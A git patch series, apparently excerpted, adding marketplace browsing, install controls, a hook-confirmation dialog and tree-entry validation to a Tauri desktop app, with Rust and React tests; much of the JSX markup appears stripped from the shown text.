plugin_catalog_entry(&full_repo(), "example-plugin").unwrap(); + assert_eq!(entry["description"], "Adds a skill"); + assert!(plugin_catalog_entry(&full_repo(), "nope").is_err()); + } +} diff --git a/app/src-tauri/src/marketplace/mod.rs b/app/src-tauri/src/marketplace/mod.rs new file mode 100644 index 0000000..70ccdb8 --- /dev/null +++ b/app/src-tauri/src/marketplace/mod.rs @@ -0,0 +1,4 @@ +//! Marketplace support — see `docs/superpowers/specs/2026-09-27-marketplace-design.md`. + +pub mod catalog; +pub mod tree; diff --git a/app/src-tauri/src/marketplace/tree.rs b/app/src-tauri/src/marketplace/tree.rs new file mode 100644 index 0000000..d56dc02 --- /dev/null +++ b/app/src-tauri/src/marketplace/tree.rs @@ -0,0 +1,229 @@ +//! A read-only view of a repository tree at one commit. +//! +//! The catalog parser only ever talks to [`TreeView`], so it is tested +//! against [`MemTree`] with no git involved, and runs in production against +//! [`GitTree`], which reads git objects straight out of the bare cache. + +use std::collections::BTreeMap; + +use sha2::{Digest, Sha256}; + +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum EntryKind { + File, + Dir, + Symlink, + /// Anything else git can hold (submodule commits). Never installable. + Other, +} + +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct DirEntry { + pub name: String, + pub kind: EntryKind, + pub executable: bool, +} + +pub trait TreeView { + /// Entries of the directory at `path` (`""` = root). `Ok(None)` if absent or not a dir. + fn list_dir(&self, path: &str) -> Result>, String>; + /// Contents of the regular file at `path`. `Ok(None)` if absent or not a file. + fn read_file(&self, path: &str) -> Result>, String>; + /// Stable content id of the entry at `path`; `None` if absent. + fn entry_id(&self, path: &str) -> Result, String>; +} + +/// Hex-encode `bytes`. Shared by [`MemTree`]'s content id (test-only) and +/// `catalog::item_fingerprint`'s plugin-entry hash (production), so there is +/// one hex formatter rather than two copies of the same `format!("{:02x}")`. +pub(crate) fn hex(bytes: &[u8]) -> String { + bytes.iter().map(|b| format!("{:02x}", b)).collect() +} + +#[cfg(test)] +#[derive(Debug, Clone)] +enum MemNode { + File { data: Vec, executable: bool }, + Symlink { target: String }, +} + +/// In-memory tree for tests: path → node. Directories are implied by paths. +#[cfg(test)] +#[derive(Debug, Clone, Default)] +pub struct MemTree { + nodes: BTreeMap, +} + +#[cfg(test)] +impl MemTree { + pub fn new() -> Self { + Self::default() + } + + pub fn file(mut self, path: &str, contents: &str) -> Self { + self.nodes.insert( + path.to_string(), + MemNode::File { + data: contents.as_bytes().to_vec(), + executable: false, + }, + ); + self + } + + pub fn exec_file(mut self, path: &str, contents: &str) -> Self { + self.nodes.insert( + path.to_string(), + MemNode::File { + data: contents.as_bytes().to_vec(), + executable: true, + }, + ); + self + } + + pub fn symlink(mut self, path: &str, target: &str) -> Self { + self.nodes.insert( + path.to_string(), + MemNode::Symlink { + target: target.to_string(), + }, + ); + self + } + + fn is_dir(&self, path: &str) -> bool { + if path.is_empty() { + return true; + } + let prefix = format!("{}/", path); + self.nodes.keys().any(|k| k.starts_with(&prefix)) + } +} + +#[cfg(test)] +impl TreeView for MemTree { + fn list_dir(&self, path: &str) -> Result>, String> { + if self.nodes.contains_key(path) || !self.is_dir(path) { + return Ok(None); + } + let prefix = if path.is_empty() { + String::new() + } else { + format!("{}/", path) + }; + let mut out: BTreeMap = BTreeMap::new(); + for (key, node) in &self.nodes { + let Some(rest) = key.strip_prefix(&prefix) else { + continue; + }; + match rest.split_once('/') { + Some((dir, _)) => { + out.entry(dir.to_string()).or_insert(DirEntry { + name: dir.to_string(), + kind: EntryKind::Dir, + executable: false, + }); + } + None => { + let (kind, executable) = match node { + MemNode::File { executable, .. } => (EntryKind::File, *executable), + MemNode::Symlink { .. } => (EntryKind::Symlink, false), + }; + out.insert( + rest.to_string(), + DirEntry { + name: rest.to_string(), + kind, + executable, + }, + ); + } + } + } + Ok(Some(out.into_values().collect())) + } + + fn read_file(&self, path: &str) -> Result>, String> { + match self.nodes.get(path) { + Some(MemNode::File { data, .. }) => Ok(Some(data.clone())), + _ => Ok(None), + } + } + + fn entry_id(&self, path: &str) -> Result, String> { + let mut hasher = Sha256::new(); + let mut found = false; + let prefix = format!("{}/", path); + for (key, node) in &self.nodes { + if key != path && !key.starts_with(&prefix) { + continue; + } + found = true; + hasher.update(key.as_bytes()); + hasher.update([0]); + match node { + MemNode::File { data, executable } => { + hasher.update([if *executable { b'x' } else { b'f' }]); + hasher.update(data); + } + MemNode::Symlink { target } => { + hasher.update(b"l"); + hasher.update(target.as_bytes()); + } + } + hasher.update([0]); + } + Ok(found.then(|| hex(&hasher.finalize()))) + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn mem_tree_lists_files_dirs_and_symlinks() { + let t = MemTree::new() + .file("agents/a.md", "x") + .exec_file("hooks/h/run.sh", "#!/bin/sh") + .symlink("agents/link.md", "a.md"); + let root = t.list_dir("").unwrap().unwrap(); + assert_eq!( + root.iter() + .map(|e| (e.name.as_str(), e.kind)) + .collect::>(), + vec![("agents", EntryKind::Dir), ("hooks", EntryKind::Dir)] + ); + let agents = t.list_dir("agents").unwrap().unwrap(); + assert_eq!(agents[1].kind, EntryKind::Symlink); + let hook = t.list_dir("hooks/h").unwrap().unwrap(); + assert!(hook[0].executable); + assert_eq!(t.list_dir("agents/a.md").unwrap(), None); + assert_eq!(t.list_dir("missing").unwrap(), None); + assert_eq!(t.read_file("agents/a.md").unwrap().unwrap(), b"x"); + assert_eq!(t.read_file("agents").unwrap(), None); + } + + #[test] + fn mem_tree_entry_id_changes_only_with_content() { + let a = MemTree::new() + .file("skills/s/SKILL.md", "one") + .file("agents/x.md", "x"); + let b = MemTree::new() + .file("skills/s/SKILL.md", "one") + .file("agents/x.md", "changed"); + let c = MemTree::new() + .file("skills/s/SKILL.md", "two") + .file("agents/x.md", "x"); + assert_eq!( + a.entry_id("skills/s").unwrap(), + b.entry_id("skills/s").unwrap() + ); + assert_ne!( + a.entry_id("skills/s").unwrap(), + c.entry_id("skills/s").unwrap() + ); + assert_eq!(a.entry_id("nope").unwrap(), None); + } +} -- 2.52.0 From 3c12a2fc891c4664dcd6ccbd4fa8470f90e967b1 Mon Sep 17 00:00:00 2001 From: Josh Knapp Date: Sun, 27 Sep 2026 08:54:02 -0700 Subject: [PATCH 07/45] Marketplace UI: browse, item detail, install controls, hook confirmation, add marketplace Implements Task 13: BrowsePane (marketplace list, kind/search filters, item detail), InstallControls (global/per-project install, opt-out, hook confirm gate), HookConfirmModal, AddMarketplaceModal, and ItemDetail. Also applies pre-flight ruling F6: a per-marketplace Remove button with a confirm dialog (mp.remove) warning that surviving installs become "Source removed" and can be dropped via Forget on the Installed tab, plus an inline account reassignment select (updateMarketplace + reloadState). Co-Authored-By: Claude Opus 5.5 --- .../marketplace/AddMarketplaceModal.test.tsx | 54 ++++ .../marketplace/AddMarketplaceModal.tsx | 104 ++++++++ .../marketplace/BrowsePane.test.tsx | 114 ++++++++ app/src/components/marketplace/BrowsePane.tsx | 245 +++++++++++++++++- .../marketplace/HookConfirmModal.tsx | 45 ++++ .../marketplace/InstallControls.test.tsx | 114 ++++++++ .../marketplace/InstallControls.tsx | 125 +++++++++ app/src/components/marketplace/ItemDetail.tsx | 56 ++++ 8 files changed, 854 insertions(+), 3 deletions(-) create mode 100644 app/src/components/marketplace/AddMarketplaceModal.test.tsx create mode 100644 app/src/components/marketplace/AddMarketplaceModal.tsx create mode 100644 app/src/components/marketplace/BrowsePane.test.tsx create mode 100644 app/src/components/marketplace/HookConfirmModal.tsx create mode 100644 app/src/components/marketplace/InstallControls.test.tsx create mode 100644 app/src/components/marketplace/InstallControls.tsx create mode 100644 app/src/components/marketplace/ItemDetail.tsx diff --git a/app/src/components/marketplace/AddMarketplaceModal.test.tsx b/app/src/components/marketplace/AddMarketplaceModal.test.tsx new file mode 100644 index 0000000..58002a9 --- /dev/null +++ b/app/src/components/marketplace/AddMarketplaceModal.test.tsx @@ -0,0 +1,54 @@ +import { describe, it, expect, vi, beforeEach } from "vitest"; +import { fireEvent, render, screen, waitFor } from "@testing-library/react"; +import { useAppState } from "../../store/appState"; +import type { AppSettings } from "../../lib/types"; + +const addMarketplace = vi.fn(); +vi.mock("../../lib/tauri-commands", () => ({ + addMarketplace: (...a: unknown[]) => addMarketplace(...a), +})); + +import AddMarketplaceModal from "./AddMarketplaceModal"; + +describe("AddMarketplaceModal", () => { + beforeEach(() => { + vi.clearAllMocks(); + useAppState.setState({ + appSettings: { + marketplace_accounts: [{ id: "acc1", label: "Work", host: "github.com", method: "token", username: "me" }], + marketplaces: [], + global_marketplace_installs: [], + } as unknown as AppSettings, + }); + }); + + it("submits name, url, branch and account", async () => { + const onAdded = vi.fn(); + addMarketplace.mockResolvedValue({ marketplace_id: "m1", head_commit: null, fetched_at: null, fetch_error: null, items: [] }); + render(); + fireEvent.change(screen.getByLabelText("Name"), { target: { value: "Starter" } }); + fireEvent.change(screen.getByLabelText("Repository URL"), { target: { value: "https://github.com/shadowdao/triple-c-marketplace.git" } }); + fireEvent.change(screen.getByLabelText("Branch"), { target: { value: "" } }); + fireEvent.change(screen.getByLabelText("Account"), { target: { value: "acc1" } }); + fireEvent.click(screen.getByRole("button", { name: "Add marketplace" })); + await waitFor(() => expect(onAdded).toHaveBeenCalled()); + expect(addMarketplace).toHaveBeenCalledWith("Starter", "https://github.com/shadowdao/triple-c-marketplace.git", null, "acc1"); + }); + + it("rejects non-https URLs before calling the backend", () => { + render(); + fireEvent.change(screen.getByLabelText("Name"), { target: { value: "x" } }); + fireEvent.change(screen.getByLabelText("Repository URL"), { target: { value: "git@github.com:a/b.git" } }); + expect(screen.getByRole("button", { name: "Add marketplace" })).toBeDisabled(); + expect(screen.getByText(/must start with https:\/\//)).toBeInTheDocument(); + }); + + it("shows the backend error and stays open", async () => { + addMarketplace.mockRejectedValue("Work cannot read this repository (HTTP 404)"); + render(); + fireEvent.change(screen.getByLabelText("Name"), { target: { value: "x" } }); + fireEvent.change(screen.getByLabelText("Repository URL"), { target: { value: "https://github.com/a/b.git" } }); + fireEvent.click(screen.getByRole("button", { name: "Add marketplace" })); + expect(await screen.findByText(/HTTP 404/)).toBeInTheDocument(); + }); +}); diff --git a/app/src/components/marketplace/AddMarketplaceModal.tsx b/app/src/components/marketplace/AddMarketplaceModal.tsx new file mode 100644 index 0000000..a795307 --- /dev/null +++ b/app/src/components/marketplace/AddMarketplaceModal.tsx @@ -0,0 +1,104 @@ +import { useState } from "react"; +import Modal from "../ui/Modal"; +import Button from "../ui/Button"; +import Field, { inputClass, selectClass } from "../ui/Field"; +import { addMarketplace } from "../../lib/tauri-commands"; +import { useAppState } from "../../store/appState"; +import type { MarketplaceSnapshot } from "../../lib/types"; + +interface Props { + onClose: () => void; + onAdded: (snapshot: MarketplaceSnapshot) => void; +} + +export default function AddMarketplaceModal({ onClose, onAdded }: Props) { + const accounts = useAppState((s) => s.appSettings?.marketplace_accounts ?? []); + const [name, setName] = useState(""); + const [url, setUrl] = useState(""); + const [branch, setBranch] = useState(""); + const [accountId, setAccountId] = useState(""); + const [busy, setBusy] = useState(false); + const [error, setError] = useState(null); + + const trimmedUrl = url.trim(); + const urlProblem = + trimmedUrl !== "" && !trimmedUrl.startsWith("https://") + ? "The repository URL must start with https:// (SSH URLs are not supported)." + : null; + const canSubmit = name.trim() !== "" && trimmedUrl !== "" && !urlProblem && !busy; + + const submit = async () => { + setBusy(true); + setError(null); + try { + const snap = await addMarketplace( + name.trim(), + trimmedUrl, + branch.trim() === "" ? null : branch.trim(), + accountId === "" ? null : accountId, + ); + onAdded(snap); + onClose(); + } catch (e) { + setError(typeof e === "string" ? e : String(e)); + } finally { + setBusy(false); + } + }; + + return ( + + + + + } + > +
    + + {(id) => ( + setName(e.target.value)} className={inputClass} placeholder="Team marketplace" /> + )} + + + {(id) => ( + setUrl(e.target.value)} className={inputClass} placeholder="https://github.com/owner/repo.git" /> + )} + + + {(id) => ( + setBranch(e.target.value)} className={inputClass} placeholder="main" /> + )} + + + {(id) => ( + + )} + + {error && ( +

    + {error} +

    + )} +
    +     + ); +} diff --git a/app/src/components/marketplace/BrowsePane.test.tsx b/app/src/components/marketplace/BrowsePane.test.tsx new file mode 100644 index 0000000..4c74e50 --- /dev/null +++ b/app/src/components/marketplace/BrowsePane.test.tsx @@ -0,0 +1,114 @@ +import { describe, it, expect, vi, beforeEach } from "vitest"; +import { fireEvent, render, screen } from "@testing-library/react"; +import { useAppState } from "../../store/appState"; +import type { AppSettings, CatalogItem, MarketplaceSnapshot } from "../../lib/types"; +import type { MarketplaceApi } from "../../hooks/useMarketplace"; + +vi.mock("./InstallControls", () => ({ default: () =>
    install controls
    })); +vi.mock("./AddMarketplaceModal", () => ({ default: () =>
    add modal
    })); + +import BrowsePane from "./BrowsePane"; + +const it_ = (kind: CatalogItem["kind"], key: string, patch: Partial = {}): CatalogItem => ({ + kind, + key, + name: key, + description: `${key} description`, + path: key, + invalid: null, + hook_commands: [], + preview: `${key} preview body`, + ...patch, +}); + +const snapshot: MarketplaceSnapshot = { + marketplace_id: "m1", + head_commit: "a".repeat(40), + fetched_at: "2026-09-27T12:00:00Z", + fetch_error: "network unreachable", + items: [it_("agent", "code-reviewer"), it_("hook", "notify-on-stop"), it_("skill", "broken", { invalid: "SKILL.md missing" })], +}; + +function api(patch: Partial = {}): MarketplaceApi { + return { + snapshots: [snapshot], + updates: [], + loading: false, + refreshing: [], + load: vi.fn(), + refresh: vi.fn(), + reloadState: vi.fn(), + install: vi.fn(), + uninstall: vi.fn(), + setDisabled: vi.fn(), + update: vi.fn(), + forget: vi.fn(), + remove: vi.fn(async () => true), + ...patch, + }; +} + +describe("BrowsePane", () => { + beforeEach(() => { + useAppState.setState({ + appSettings: { + marketplaces: [{ id: "m1", name: "Starter", url: "https://github.com/s/m.git", branch: null, account_id: null }], + marketplace_accounts: [], + global_marketplace_installs: [], + } as unknown as AppSettings, + projects: [], + marketplaceFilterProjectId: null, + }); + }); + + it("lists items, filters by kind and search, and shows detail", () => { + render(); + expect(screen.getByText("network unreachable")).toBeInTheDocument(); + expect(screen.getByRole("button", { name: /code-reviewer/ })).toBeInTheDocument(); + expect(screen.getByRole("button", { name: /notify-on-stop/ })).toBeInTheDocument(); + + fireEvent.click(screen.getByRole("radio", { name: "Hooks" })); + expect(screen.queryByRole("button", { name: /code-reviewer/ })).not.toBeInTheDocument(); + + fireEvent.click(screen.getByRole("radio", { name: "All" })); + fireEvent.change(screen.getByLabelText("Search items"), { target: { value: "review" } }); + expect(screen.queryByRole("button", { name: /notify-on-stop/ })).not.toBeInTheDocument(); + + fireEvent.click(screen.getByRole("button", { name: /code-reviewer/ })); + expect(screen.getByText("code-reviewer preview body")).toBeInTheDocument(); + expect(screen.getByText("install controls")).toBeInTheDocument(); + }); + + it("shows why an item is invalid", () => { + render(); + fireEvent.click(screen.getByRole("button", { name: /broken/ })); + expect(screen.getByText("SKILL.md missing")).toBeInTheDocument(); + }); + + it("refreshes one marketplace", () => { + const mp = api(); + render(); + fireEvent.click(screen.getByRole("button", { name: "Refresh Starter" })); + expect(mp.refresh).toHaveBeenCalledWith("m1"); + }); + + it("offers Add when there are no marketplaces", () => { + useAppState.setState({ + appSettings: { marketplaces: [], marketplace_accounts: [], global_marketplace_installs: [] } as unknown as AppSettings, + }); + render(); + fireEvent.click(screen.getByRole("button", { name: "Add marketplace" })); + expect(screen.getByText("add modal")).toBeInTheDocument(); + }); + + it("confirms before removing a marketplace (F6)", () => { + const mp = api(); + render(); + fireEvent.click(screen.getByRole("button", { name: "Remove Starter" })); + expect(screen.getByText(/Source removed/)).toBeInTheDocument(); + expect(screen.getByText(/Forget/)).toBeInTheDocument(); + expect(mp.remove).not.toHaveBeenCalled(); + fireEvent.click(screen.getByRole("button", { name: "Remove marketplace" })); + expect(mp.remove).toHaveBeenCalledWith("m1"); + }); +}); diff --git a/app/src/components/marketplace/BrowsePane.tsx b/app/src/components/marketplace/BrowsePane.tsx index b97c93e..08bf9ec 100644 --- a/app/src/components/marketplace/BrowsePane.tsx +++ b/app/src/components/marketplace/BrowsePane.tsx @@ -1,9 +1,248 @@ +import { useMemo, useState } from "react"; import type { MarketplaceApi } from "../../hooks/useMarketplace"; +import { useAppState } from "../../store/appState"; +import { KIND_LABELS, KIND_ORDER, itemRefKey } from "../../lib/marketplace"; +import { updateMarketplace } from "../../lib/tauri-commands"; +import type { CatalogItem, ItemKind, Marketplace } from "../../lib/types"; +import Button from "../ui/Button"; +import Modal from "../ui/Modal"; +import SegmentedControl from "../ui/SegmentedControl"; +import { inputClass, selectClass } from "../ui/Field"; +import AddMarketplaceModal from "./AddMarketplaceModal"; +import ItemDetail from "./ItemDetail"; + +type KindFilter = ItemKind | "all"; + +const when = (iso: string | null) => (iso ? new Date(iso).toLocaleString() : "never"); export default function BrowsePane({ mp }: { mp: MarketplaceApi }) { + const marketplaces = useAppState((s) => s.appSettings?.marketplaces ?? []); + const accounts = useAppState((s) => s.appSettings?.marketplace_accounts ?? []); + const globalInstalls = useAppState((s) => s.appSettings?.global_marketplace_installs ?? []); + const projects = useAppState((s) => s.projects); + const filterId = useAppState((s) => s.marketplaceFilterProjectId); + const setFilterId = useAppState((s) => s.setMarketplaceFilterProjectId); + const [kind, setKind] = useState("all"); + const [query, setQuery] = useState(""); + const [selected, setSelected] = useState<{ marketplaceId: string; item: CatalogItem } | null>(null); + const [adding, setAdding] = useState(false); + const [removing, setRemoving] = useState(null); + + const rows = useMemo(() => { + const q = query.trim().toLowerCase(); + return mp.snapshots.flatMap((snap) => + snap.items + .filter((i) => kind === "all" || i.kind === kind) + .filter((i) => q === "" || `${i.name} ${i.key} ${i.description}`.toLowerCase().includes(q)) + .sort((a, b) => KIND_ORDER.indexOf(a.kind) - KIND_ORDER.indexOf(b.kind) || a.name.localeCompare(b.name)) + .map((item) => ({ marketplaceId: snap.marketplace_id, item })), + ); + }, [mp.snapshots, kind, query]); + + const nameOf = (id: string) => marketplaces.find((m) => m.id === id)?.name ?? id; + + const changeAccount = async (m: Marketplace, accountId: string | null) => { + await updateMarketplace({ ...m, account_id: accountId }); + await mp.reloadState(); + }; + + /** Global + every project's installs of this marketplace, for the removal warning. */ + const installCountFor = (marketplaceId: string) => { + const global = globalInstalls.filter((i) => i.marketplace_id === marketplaceId).length; + const perProject = projects.reduce( + (sum, p) => sum + p.marketplace_installs.filter((i) => i.marketplace_id === marketplaceId).length, + 0, + ); + return global + perProject; + }; + return ( -

    - {mp.snapshots.length} marketplace{mp.snapshots.length === 1 ? "" : "s"} configured. -

    +
    + + +
    + + label="Item kind" + value={kind} + onChange={setKind} + segments={[ + { value: "all", label: "All" }, + ...KIND_ORDER.map((k) => ({ value: k as KindFilter, label: KIND_LABELS[k] })), + ]} + /> + setQuery(e.target.value)} + placeholder="Search" + className={inputClass} + /> +
      + {rows.map(({ marketplaceId, item }) => { + const key = itemRefKey({ marketplace_id: marketplaceId, kind: item.kind, key: item.key }); + const isSel = + selected?.marketplaceId === marketplaceId && + selected.item.kind === item.kind && + selected.item.key === item.key; + return ( +
    • + +
      • + ); + })} + {rows.length === 0 && mp.snapshots.length > 0 && ( +
    • No items match.
      • + )} +
    +
    + +
    + {selected ? ( + + ) : ( +

    Select an item to see what it contains and install it.

    + )} +
    + + {adding && ( + setAdding(false)} + onAdded={() => { + void mp.reloadState(); + void mp.load(); + }} + /> + )} + + {removing && ( + setRemoving(null)} + footer={ + <> + + + + } + > +

    + {installCountFor(removing.id)} install{installCountFor(removing.id) === 1 ? "" : "s"} stay listed as + “Source removed” and are removed from containers at their next sync. Use “Forget” on the Installed tab + instead if you want to drop them immediately. +

    +     + )} +
    ); } diff --git a/app/src/components/marketplace/HookConfirmModal.tsx b/app/src/components/marketplace/HookConfirmModal.tsx new file mode 100644 index 0000000..f5f4c6e --- /dev/null +++ b/app/src/components/marketplace/HookConfirmModal.tsx @@ -0,0 +1,45 @@ +import Modal from "../ui/Modal"; +import Button from "../ui/Button"; +import type { CatalogItem } from "../../lib/types"; + +interface Props { + item: CatalogItem; + onConfirm: () => void; + onCancel: () => void; +} + +/** Hooks run shell commands in every Claude session, so installing one is always confirmed. */ +export default function HookConfirmModal({ item, onConfirm, onCancel }: Props) { + return ( + + + + + } + > + {item.hook_commands.length === 0 ? ( +

    This hook declares no commands.

    + ) : ( +
      + {item.hook_commands.map((c) => ( +
    • + + {c} + +
      • + ))} +
    + )} +     + ); +} diff --git a/app/src/components/marketplace/InstallControls.test.tsx b/app/src/components/marketplace/InstallControls.test.tsx new file mode 100644 index 0000000..73aaee0 --- /dev/null +++ b/app/src/components/marketplace/InstallControls.test.tsx @@ -0,0 +1,114 @@ +import { describe, it, expect, vi, beforeEach } from "vitest"; +import { fireEvent, render, screen, within } from "@testing-library/react"; +import InstallControls from "./InstallControls"; +import { useAppState } from "../../store/appState"; +import type { AppSettings, CatalogItem, Project } from "../../lib/types"; +import type { MarketplaceApi } from "../../hooks/useMarketplace"; + +const C = "c".repeat(40); + +function api(): MarketplaceApi { + return { + snapshots: [], + updates: [], + loading: false, + refreshing: [], + load: vi.fn(), + refresh: vi.fn(), + reloadState: vi.fn(), + install: vi.fn(async () => true), + uninstall: vi.fn(async () => true), + setDisabled: vi.fn(async () => true), + update: vi.fn(), + forget: vi.fn(), + remove: vi.fn(), + }; +} + +const item = (kind: CatalogItem["kind"], patch: Partial = {}): CatalogItem => ({ + kind, + key: "rev", + name: "rev", + description: "", + path: `agents/rev.md`, + invalid: null, + hook_commands: kind === "hook" ? ["/home/claude/.claude/triple-c/hooks/rev/run.sh"] : [], + preview: "", + ...patch, +}); + +const project = (id: string, patch: Partial = {}) => + ({ id, name: `proj-${id}`, marketplace_installs: [], marketplace_disabled: [], ...patch }) as unknown as Project; + +function seed(globalInstalls: AppSettings["global_marketplace_installs"], projects: Project[]) { + useAppState.setState({ + appSettings: { global_marketplace_installs: globalInstalls, marketplaces: [], marketplace_accounts: [] } as unknown as AppSettings, + projects, + marketplaceFilterProjectId: null, + }); +} + +const ref = { marketplace_id: "m1", kind: "agent" as const, key: "rev" }; + +describe("InstallControls", () => { + beforeEach(() => seed([], [project("p1"), project("p2")])); + + it("installs for all projects", () => { + const mp = api(); + render(); + fireEvent.click(screen.getByRole("switch", { name: "All projects" })); + expect(mp.install).toHaveBeenCalledWith(ref, { type: "global" }); + }); + + it("installs for one project", () => { + const mp = api(); + render(); + fireEvent.click(screen.getByRole("checkbox", { name: /proj-p2/ })); + expect(mp.install).toHaveBeenCalledWith(ref, { type: "project", project_id: "p2" }); + }); + + it("opts a project out of a global install and back in", () => { + const mp = api(); + seed([{ ...ref, commit: C }], [project("p1"), project("p2", { marketplace_disabled: [ref] })]); + render(); + const row1 = screen.getByTestId("install-row-p1"); + expect(within(row1).getByText("Inherited")).toBeInTheDocument(); + fireEvent.click(within(row1).getByRole("checkbox")); + expect(mp.setDisabled).toHaveBeenCalledWith("p1", ref, true); + const row2 = screen.getByTestId("install-row-p2"); + expect(within(row2).getByText("Opted out")).toBeInTheDocument(); + fireEvent.click(within(row2).getByRole("checkbox")); + expect(mp.setDisabled).toHaveBeenCalledWith("p2", ref, false); + }); + + it("removes a project-only install", () => { + const mp = api(); + seed([], [project("p1", { marketplace_installs: [{ ...ref, commit: C }] })]); + render(); + fireEvent.click(screen.getByRole("checkbox", { name: /proj-p1/ })); + expect(mp.uninstall).toHaveBeenCalledWith(ref, { type: "project", project_id: "p1" }); + }); + + it("requires confirmation before installing a hook", () => { + const mp = api(); + render(); + fireEvent.click(screen.getByRole("switch", { name: "All projects" })); + expect(mp.install).not.toHaveBeenCalled(); + expect(screen.getByText("/home/claude/.claude/triple-c/hooks/rev/run.sh")).toBeInTheDocument(); + fireEvent.click(screen.getByRole("button", { name: "Install hook" })); + expect(mp.install).toHaveBeenCalledWith({ ...ref, kind: "hook" }, { type: "global" }); + }); + + it("disables everything for an invalid item", () => { + render(); + expect(screen.getByRole("switch", { name: "All projects" })).toBeDisabled(); + expect(screen.getByRole("checkbox", { name: /proj-p1/ })).toBeDisabled(); + }); + + it("shows only the filtered project when a filter is set", () => { + useAppState.setState({ marketplaceFilterProjectId: "p2" }); + render(); + expect(screen.queryByTestId("install-row-p1")).not.toBeInTheDocument(); + expect(screen.getByTestId("install-row-p2")).toBeInTheDocument(); + }); +}); diff --git a/app/src/components/marketplace/InstallControls.tsx b/app/src/components/marketplace/InstallControls.tsx new file mode 100644 index 0000000..c154dbd --- /dev/null +++ b/app/src/components/marketplace/InstallControls.tsx @@ -0,0 +1,125 @@ +import { useState } from "react"; +import { useAppState } from "../../store/appState"; +import { projectItemState, type ProjectItemState } from "../../lib/marketplace"; +import type { MarketplaceApi } from "../../hooks/useMarketplace"; +import type { CatalogItem, InstallScope, MarketplaceItemRef } from "../../lib/types"; +import Toggle from "../ui/Toggle"; +import HookConfirmModal from "./HookConfirmModal"; + +const STATE_LABEL: Record = { + none: "", + inherited: "Inherited", + opted_out: "Opted out", + project: "This project", + project_pinned_differently: "Pinned to a different commit", +}; + +interface Props { + mp: MarketplaceApi; + item: CatalogItem; + marketplaceId: string; +} + +export default function InstallControls({ mp, item, marketplaceId }: Props) { + const appSettings = useAppState((s) => s.appSettings); + const projects = useAppState((s) => s.projects); + const filterId = useAppState((s) => s.marketplaceFilterProjectId); + const [pendingHook, setPendingHook] = useState(null); + const [busy, setBusy] = useState(false); + + const ref: MarketplaceItemRef = { marketplace_id: marketplaceId, kind: item.kind, key: item.key }; + const globalInstalls = appSettings?.global_marketplace_installs ?? []; + const isGlobal = globalInstalls.some( + (g) => g.marketplace_id === marketplaceId && g.kind === item.kind && g.key === item.key, + ); + const disabled = item.invalid !== null || busy; + const shown = filterId ? projects.filter((p) => p.id === filterId) : projects; + + const run = async (fn: () => Promise) => { + setBusy(true); + try { + await fn(); + } finally { + setBusy(false); + } + }; + + /** Every install goes through here so a hook is always confirmed first. */ + const install = (scope: InstallScope) => { + if (item.kind === "hook") { + setPendingHook(scope); + return; + } + void run(() => mp.install(ref, scope)); + }; + + const toggleProject = (projectId: string, state: ProjectItemState) => { + const scope: InstallScope = { type: "project", project_id: projectId }; + switch (state) { + case "none": + install(scope); + break; + case "inherited": + void run(() => mp.setDisabled(projectId, ref, true)); + break; + case "opted_out": + void run(() => mp.setDisabled(projectId, ref, false)); + break; + case "project": + case "project_pinned_differently": + void run(() => mp.uninstall(ref, scope)); + break; + } + }; + + return ( +
    + (v ? install({ type: "global" }) : void run(() => mp.uninstall(ref, { type: "global" })))} + /> +
      + {shown.map((p) => { + const state = projectItemState(ref, globalInstalls, p); + const checked = state === "inherited" || state === "project" || state === "project_pinned_differently"; + return ( +
    • + + {STATE_LABEL[state] && ( + {STATE_LABEL[state]} + )} +
      • + ); + })} +
    + {projects.length === 0 && ( +

    No projects yet — “All projects” also covers projects added later.

    + )} + {pendingHook && ( + setPendingHook(null)} + onConfirm={() => { + const scope = pendingHook; + setPendingHook(null); + void run(() => mp.install(ref, scope)); + }} + /> + )} +
    + ); +} diff --git a/app/src/components/marketplace/ItemDetail.tsx b/app/src/components/marketplace/ItemDetail.tsx new file mode 100644 index 0000000..3a4647e --- /dev/null +++ b/app/src/components/marketplace/ItemDetail.tsx @@ -0,0 +1,56 @@ +import type { CatalogItem } from "../../lib/types"; +import type { MarketplaceApi } from "../../hooks/useMarketplace"; +import { KIND_LABELS } from "../../lib/marketplace"; +import StatusIndicator from "../ui/StatusIndicator"; +import InstallControls from "./InstallControls"; + +interface Props { + mp: MarketplaceApi; + item: CatalogItem; + marketplaceId: string; +} + +export default function ItemDetail({ mp, item, marketplaceId }: Props) { + return ( +
    +
    +

    + {KIND_LABELS[item.kind].replace(/s$/, "")} · {item.path} +

    +

    {item.name}

    + {item.description &&

    {item.description}

    } +
    + {item.invalid && ( +
    + +

    {item.invalid}

    +
    + )} + {item.kind === "hook" && item.hook_commands.length > 0 && ( +
    +

    Commands this hook runs

    +
      + {item.hook_commands.map((c) => ( +
    • + {c} +
      • + ))} +
    +
    + )} + {item.preview && ( + 
    +          {item.preview}
+
    + )} +
    +

    Install

    + +

    + Running containers pick changes up on their next start or with “Apply now” on the Installed tab. Changes + apply to new Claude sessions. +

    +
    +
    + ); +} -- 2.52.0 From b09f811ac1045189850e51fd3bde7e3bbdba0964 Mon Sep 17 00:00:00 2001 From: Josh Knapp Date: Sun, 27 Sep 2026 08:55:32 -0700 Subject: [PATCH 08/45] Marketplace: validate tree entry names and cap depth/manifest size MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Fix round 1 from PR review of the tree/catalog parsing: - collect_dir now rejects an entry whose name is ".", "..", empty, or contains "/", "\" or NUL before it becomes part of an item's rel_path — a crafted git tree could otherwise walk a file outside the item's own folder once that path is joined against the item root downstream. - collect_dir caps recursion at 32 directory levels and counts directories (not just files) toward MAX_ITEM_FILES, so a tree that is wide or deep rather than merely file-heavy is still bounded. - hook.json and plugins/.claude-plugin/marketplace.json are now rejected unparsed above 1 MiB, rather than handed to serde_json regardless of size. A pre-read size query (checking a blob's size before reading it) is deferred per controller ruling — this round reads the blob and checks its length before parsing, which is enough for the JSON-parsing DoS shape being closed here. Co-Authored-By: Claude Opus 5.5 --- app/src-tauri/src/marketplace/catalog.rs | 163 ++++++++++++++++++++++- app/src-tauri/src/marketplace/tree.rs | 23 ++++ 2 files changed, 181 insertions(+), 5 deletions(-) diff --git a/app/src-tauri/src/marketplace/catalog.rs b/app/src-tauri/src/marketplace/catalog.rs index 1624582..482d3e9 100644 --- a/app/src-tauri/src/marketplace/catalog.rs +++ b/app/src-tauri/src/marketplace/catalog.rs @@ -17,6 +17,17 @@ pub const MAX_ITEM_BYTES: u64 = 